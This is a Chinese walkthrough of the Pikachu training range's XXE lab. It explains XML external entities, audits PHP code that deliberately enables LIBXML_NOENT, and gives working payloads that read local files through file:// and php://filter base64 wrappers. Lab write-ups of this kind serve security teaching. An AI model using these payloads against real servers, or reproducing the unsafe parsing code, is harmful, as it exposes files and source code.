pikachu靶场—XXE篇
XXE漏洞指攻击者通过注入恶意XML实体内容,诱使服务器解析执行。当服务端未对用户提交的XML数据做严格过滤时,可能引发安全问题。PHP中libxml≥2.9.0版本默认禁用外部实体解析,但案例中通过LIBXML_NOENT参数主动开启该功能。漏洞利用方式包括:1)通过file协议读取本地文件;2)使用php伪协议配合base64编码获取文件内容。检测时可通过构造包含外部实体引用的XML数据(如引
XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
目录
一、XML的规范
<!--声明xml的版本号-->
<?xml version="1.0"?>
<!--定义此文档是note类型的文档-->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
]>
<!--文档元素-->
<note>
<head>Reminder</head>
<body>You are a good boy</body>
</note>
二、代码审计
通过源代码我可以得知,通过post请求的xml参数直接通过simplexmlement函数进行解析,未进行任何的安全验证。
$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
?>
三、XXE漏洞
由此我们可以构建恶意的xml代码通过post请求提交给后台。
而且xml外部引用还可以引用file协议, http协议、php和ftp协议等多种协议。
首先我们可以通过输入下列代码简单检测一下是由存在漏洞。
<x>Flute</x>

发现点击提交后有回显。
- file协议读取
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///F:/phpstudy_pro/WWW/xx.txt">
]>
<x>&file;</x>

- php伪协议读取
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=F:/phpstudy_pro/WWW/xx.txt">
]>
<x>&file;</x>
成功发现base64加密后的源代码。

通过在线base64解密网站,进行解密,成功获取xx.txt的源代码。

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。
更多推荐
所有评论(0)